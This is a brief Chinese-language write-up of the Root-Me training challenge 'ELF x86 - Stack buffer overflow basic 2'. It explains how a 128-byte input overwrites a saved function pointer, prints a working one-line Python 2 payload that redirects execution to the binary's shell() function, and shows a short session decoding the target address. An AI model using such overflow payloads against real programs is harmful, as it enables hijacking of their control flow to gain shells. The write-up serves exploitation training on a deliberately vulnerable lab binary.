Stack buffer overflow basic 2
ELF x86 - Stack buffer overflow basic 2
1 |
|
反汇编代码
获取输入后,调用eax寄存器中函数
输入存在ebp-0x8c
, ebp-0xc
处保存着sup函数地址, 我们要做的就是将该地址换为shell()函数地址
查看内存
128字节后,即0xbffffa9c(ebp-0xc)
处保存sup()函数地址
所以可以直接溢出
替换为shell()
palyload
(python -c 'print "a"*128+"08048516".decode("hex")[::-1]';cat) | ./ch15
“08048516”.decode(“hex”) 十六进制表示,所以用十六进制解码
┌─[✗]─[zentreisender@parrotos]─[~/Documents/root_me/app_system]
└──╼ $python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "08048516".decode("hex")
'\x08\x04\x85\x16'
>>> "08048516".encode("hex")
'3038303438353136'
>>>